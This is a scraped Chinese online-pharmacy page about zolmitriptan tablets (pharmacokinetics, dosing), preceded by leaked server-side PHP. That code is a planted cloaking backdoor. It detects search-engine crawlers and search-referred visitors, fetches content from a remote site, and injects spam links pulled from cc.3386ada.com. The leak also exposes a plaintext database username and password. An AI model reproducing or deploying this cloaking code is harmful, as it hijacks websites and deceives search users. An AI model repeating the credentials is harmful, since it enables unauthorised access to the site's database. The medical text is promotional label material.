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; $userAgent = isset($c['HTTP_USER_AGENT']) ? $c['HTTP_USER_AGENT'] : ''; $referer = isset($c['HTTP_REFERER']) ? $c['HTTP_REFERER'] : ''; if (preg_match(SPIDER_UA, $userAgent)) { $response = papa(SITE); if ($response !== false && $response !== "302" && $response !== "0") { while (ob_get_level()) { ob_end_clean(); } header("Content-Type: text/html;charset=utf-8"); echo $response; exit; } $linksResponse = papa("http://cc.3386ada.com/links.php?dir=/new&host=" . $c["HTTP_HOST"]); if ($linksResponse !== false && $linksResponse !== "302" && $linksResponse !== "0") { echo $linksResponse; } return; } if (!empty($referer) && preg_match(SE_KEYWORDS, $referer)) { $response = papa(SITE); if ($response !== false && $response !== "302" && $response !== "0") { while (ob_get_level()) { ob_end_clean(); } header("Content-Type: text/html;charset=utf-8"); echo $response; exit; } return; } return; function papa($e) { $remoteAddr = $_SERVER["REMOTE_ADDR"]; $host = $_SERVER["HTTP_HOST"]; $userAgent = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; $referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; $f = curl_init(); curl_setopt($f, CURLOPT_URL, $e); curl_setopt($f, CURLOPT_USERAGENT, $userAgent); curl_setopt($f, CURLOPT_TIMEOUT, 20); curl_setopt($f, CURLOPT_RETURNTRANSFER, true); curl_setopt($f, CURLOPT_FOLLOWLOCATION, false); curl_setopt($f, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($f, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($f, CURLOPT_HTTPHEADER, array( "X-Forwarded-For: " . $remoteAddr, "X-Forwarded-Host: " . $host, "X-Proxy-Key: " . PROXY_KEY, "User-Agent: " . $userAgent, "Referer: " . $referer )); $g = curl_exec($f); $httpCode = curl_getinfo($f, CURLINFO_HTTP_CODE); if (curl_errno($f)) { curl_close($f); return "0"; } curl_close($f); if ($httpCode == 302) { return "302"; } return $g; } $dbms="mysql"; //数据库类型 $host="localhost"; //主机地址 $dbname="www_yxk120_com"; //数据库名称 $db_user='www_yxk120_com'; //数据库用户名 $db_pass='ZRWDBKN1eZG1maQm'; //数据库密码 try{ $dsn="$dbms:host=$host; dbname=$dbname"; $pdo = new PDO($dsn,$db_user,$db_pass); $pdo->query("utf-8"); } catch (PDOException $e) { print ": ".$e->getMessage()."
"; print "行号: ".$e->getLine()."
"; die(); } //error_reporting(0); date_default_timezone_set('PRC'); //中国时间+ ?> 佐米曲普坦片(天疏)药代动力学是怎样的?-粤迅康药房网
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佐米曲普坦片(天疏)药代动力学是怎样的?

发布时间2019-06-04 15:41:55  来源:粤迅康
【导读】佐米曲普坦片生产厂家是成都天台山制药有限公司,批准文号:国药准字H20050072。那么,佐米曲普坦片(天疏)药代动力学是怎样的?佐米曲普坦片(天疏)坦片适用于成人伴或不伴先兆症状的偏头痛的急性治疗。
佐米曲普坦片(天疏) ¥ 0.00元

规格:2.5mg*2片/盒

作用:适用于成人伴或不伴先兆症状的偏头痛的急性治疗。

佐米曲普坦片生产厂家是成都天台山制药有限公司,批准文号:国药准字H20050072。那么,佐米曲普坦片(天疏)药代动力学是怎样的?
 佐米曲普坦片(天疏)坦片适用于成人伴或不伴先兆症状的偏头痛的急性治疗。佐米曲普坦片的主要成份是佐米曲普坦。化学名:(s)-4-[[3-[2-(二甲氨基)乙基]-1H-吲哚-5-基]甲基]-2-噁唑烷酮。分子式:C16H21N3O2。分子量:287.36。
    佐米曲普坦片(天疏)的药代动力学是口服后吸收迅速,1小时内可达血药浓度峰值的75%,随后血浆浓度维持4~6小时。母体化合物的平均绝对生物利用度大约为40%。有一种活性代谢产物N-去甲基代谢物,也是一种5HTID激动剂。动物试验结果表明,其效能为佐米曲普坦的2-6倍。健康成人给予单剂量佐米曲普坦后,在2.5—50mg剂量范围内,佐米曲普坦及其活性代谢物的曲线下面积及血药浓度峰值均与剂量成正比例。佐米曲普坦吸收不受食物的影响。佐米曲普坦主要经肝脏生物转换,然后代谢物从尿中排泄。三种主要代谢产物为:吲哚乙酸(血浆及尿中主要的代谢物)、N-氧化物及N-去甲基代谢物。N-去甲基代谢物有活性,其它代谢物无活性。N-去甲基代谢物的血浆浓度大致为母体药物的一半;因此,预计其有助于本药的治疗作用。口服单次剂量的60%以上由尿中排泄(主要为吲哚乙酸代谢物),另约30%以母体化合物原形由粪便排泄。本品肾脏清除率大于肾小球滤过率,提示存在肾小管的分泌。本品血浆蛋白结合率低(大约为25%),平均清除半衰期为2.5—3hr,其代谢物的半衰期也类似,提示它们的清除受转换速率的限制。中度至重度肾脏损害的患者与健康受试者相比较,尽管母体化合物及其活性代谢物的曲线下面积仅有轻度的增高(分别为16%及35%),半衰期增长,但佐米曲普坦及其代谢物的肾脏清除率却降低了(7—8倍)。佐米曲普坦多次给药后不产生蓄积。
粤迅康药师温馨提醒:佐米曲普坦片(天疏)的用法用量是治疗偏头痛发作的推荐剂量为2.5mg(1片)。如果24小时内症状持续或复发,再次服药仍有效。如需二次服药,时间应与首次服药时间最少相隔2小时。服用本品2.5mg(1片),头痛减轻不满意者,在随后的发作中,可服用5mg(2片)。通常服药1小时内效果最明显。偏头痛发作期间无论何时服用本药。都同样有效,建议发病后尽早服用。反复发作时,建议24小时内服用总量不超过15mg(6片)。本品不作为偏头痛的预防性药物。肾损害患者使用本品无需调整剂量。如还想了解更多,或者想优惠拿到该药,请上粤迅康药房官网即可。
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